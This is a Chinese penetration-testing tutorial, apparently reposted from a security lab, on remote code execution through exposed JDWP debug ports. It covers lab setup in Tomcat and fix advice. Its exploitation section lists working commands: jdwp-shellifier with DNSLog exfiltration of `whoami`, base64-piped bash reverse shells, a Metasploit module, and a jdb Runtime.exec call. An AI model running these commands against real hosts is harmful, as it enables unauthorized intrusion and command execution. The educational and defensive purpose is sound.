『渗透测试』关于 JDWP 的那些事儿

admin 2023年5月29日18:27:02评论55 views字数 2962阅读9分52秒阅读模式
『渗透测试』关于 JDWP 的那些事儿

点击蓝字,关注我们···


日期:2023-05-29
作者:hdsec
介绍:本文简单介绍一下JDWP协议,以及该协议存在的RCE漏洞。

0x00 前言

JDWP(Java Debug Wire Protocol)是一种用于调试Java应用程序的协议。它定义了一组用于在Java虚拟机(JVM)和调试器之间传输数据的消息和命令。使用JDWP调试器可以连接到正在运行的Java应用程序,跟踪代码的执行,并检查变量和对象的状态。

JDWP提供了许多调试功能,例如设置断点,单步执行代码,检查线程状态和跟踪异常。通过使用JDWP,开发人员可以更快地调试Java应用程序,找到并修复问题。

JDWP通常与Java平台调试体系结构(JPDA)一起使用,JPDA是一组用于在Java平台上调试应用程序的API和工具。JPDA中的调试器使用JDWP协议与正在运行的Java应用程序通信。

在渗透测试的过程中,如果发现目标开启了JDWP服务,就可以利用JDWP服务实现远程代码执行。

『渗透测试』关于 JDWP 的那些事儿

0x01 漏洞环境搭建

1.1 Linux 上环境搭建

注意:Tomcat 有一键安装版和解压版,要搭建jdwp环境只能使用解压版:

下载Tomcat安装包https://tomcat.apache.org/download-80.cgi#8.5.87
解压安装tar -zxvf apache-tomcat-8.5.87.tar.gzmkdir /opt/tomcatmv apache-tomcat-8.5.87 /opt/tomcat/

『渗透测试』关于 JDWP 的那些事儿

修改配置文件catalina.sh,并在文件开头部分添加如下一行:

cd /opt/tomcat/apache-tomcat-8.5.87/binvim catalina.sh
CATALINA_OPTS="-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=*:8000"

『渗透测试』关于 JDWP 的那些事儿

修改完成后,执行脚本./startup.sh就会以debug模式启动Tomcat

『渗透测试』关于 JDWP 的那些事儿

运行命令nmap -sV -sT x.x.x.x -p 8000查看服务是否开启。

『渗透测试』关于 JDWP 的那些事儿

或者运行命令telnet x.x.x.x 8000,接着输入JDWP-Handshake并按下回车,如果服务端返回一样的内容,证明是JDWP服务。JDWP通信握手过程就会发送JDWP-Handshake字符串。

『渗透测试』关于 JDWP 的那些事儿

1.2 Windows 上环境搭建

同样需要下载Tomcat,在binstartup.bat文件中添加如下代码开启debug模式:

SET CATALINA_OPTS=-server -Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=8000

『渗透测试』关于 JDWP 的那些事儿

在输出信息中可以看到Listening for transport dt_socket at address: 8000,表示JDWP服务已经监听在8000端口,等待调试器连接。

『渗透测试』关于 JDWP 的那些事儿

运行命令nmap -sV -sT 10.211.55.22 -p 8000查看服务是否开启。

『渗透测试』关于 JDWP 的那些事儿

0x02 漏洞利用

2.1 脚本攻击

利用jdwp-shellifier脚本,github地址:

https://github.com/IOActive/jdwp-shellifier

设置断点函数为java.lang.String.indexOf,并执行命令,由于是无回显,此处可以利用DNSLog外带回显。

python jdwp-shellifier.py -t x.x.x.x -p 8000 --break-on "java.lang.String.indexof" --cmd "ping -nc 1 `whoami`.4jiha6.dnslog.cn"

『渗透测试』关于 JDWP 的那些事儿

『渗透测试』关于 JDWP 的那些事儿

反弹shell

python jdwp-shellifier.py -t x.x.x.x -p 8000 --break-on "java.lang.String.indexof" --cmd "bash -c {echo,反弹shell语句}|{base64,-d}|{bash,-i}"

『渗透测试』关于 JDWP 的那些事儿

在另一台机器上运行命令nc -lvp 5566设置监听。

『渗透测试』关于 JDWP 的那些事儿

由于上面的jdwp-shellifier脚本执行命令默认是没有回显的,互联网大佬改造后的脚本能正常回显命令执行的结果。脚本地址:


https://github.com/r3change/jdwp-shellifier
python jdwp-shellifier.py -t x.x.x.x -p 8000 --break-on "java.lang.String.indexOf" --cmd "id"
『渗透测试』关于 JDWP 的那些事儿

2.2 MSF 框架

利用msf也可以进行漏洞攻击,这里由于环境搭建的原因,不进行漏洞演示。

use exploit/multi/misc/java_jdwp_debuggerset rhosts x.x.x.xset payload linux/x64/shell/bind_tcprun
『渗透测试』关于 JDWP 的那些事儿

2.3 JDB

jdbJDK中自带的命令行调试工具,执行如下命令连接远程JDWP服务:

jdb -connect com.sun.jdi.SocketAttach:hostname=x.x.x.x,port=8000

『渗透测试』关于 JDWP 的那些事儿

运行threads命令查看运行的线程,选择一个正在休眠状态的线程并进入该线程thread id-->stepi

『渗透测试』关于 JDWP 的那些事儿

由于java.lang.Runtime.getRuntime()执行的命令不能带特殊符号,所以对执行的命令需要进行base64编码,运行命令后成功反弹shell

eval java.lang.Runtime.getRuntime().exec("bash -c {echo,反弹shell语句}|{base64,-d}|{bash,-i}")
『渗透测试』关于 JDWP 的那些事儿

0x03 修复建议

『渗透测试』关于 JDWP 的那些事儿

为了防止JDWP远程代码执行漏洞的攻击,建议采取以下措施:

禁用JDWP协议:建议在生产环境中禁用JDWP协议,以避免攻击者利用此协议进行攻击。

限制JDWP协议的访问:如果必须使用JDWP协议,建议在防火墙上限制其访问,并只允许受信任的主机连接。

更新Java虚拟机:及时更新Java虚拟机,以修补已知的JDWP漏洞。

启用安全机制:建议启用Java虚拟机中的安全机制,如访问控制和安全策略,以限制未经授权的访问。

最小化系统攻击面:采取最小化系统攻击面的措施,如禁用不必要的服务和组件,以减少系统的漏洞风险。

总之,采取这些措施可以有效地减少JDWP远程代码执行漏洞的攻击风险,保护系统的安全性。

免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。

点此亲启

ABOUT US

宸极实验室隶属山东九州信泰信息科技股份有限公司,致力于网络安全对抗技术研究,是山东省发改委认定的“网络安全对抗关键技术山东省工程实验室”。团队成员专注于 Web 安全、移动安全、红蓝对抗等领域,善于利用黑客视角发现和解决网络安全问题。

团队自成立以来,圆满完成了多次国家级、省部级重要网络安全保障和攻防演习活动,并积极参加各类网络安全竞赛,屡获殊荣。

对信息安全感兴趣的小伙伴欢迎加入宸极实验室,关注公众号,回复『招聘』,获取联系方式。

原文始发于微信公众号(宸极实验室):『渗透测试』关于 JDWP 的那些事儿

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年5月29日18:27:02
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   『渗透测试』关于 JDWP 的那些事儿https://cn-sec.com/archives/1771648.html

发表评论

匿名网友 填写信息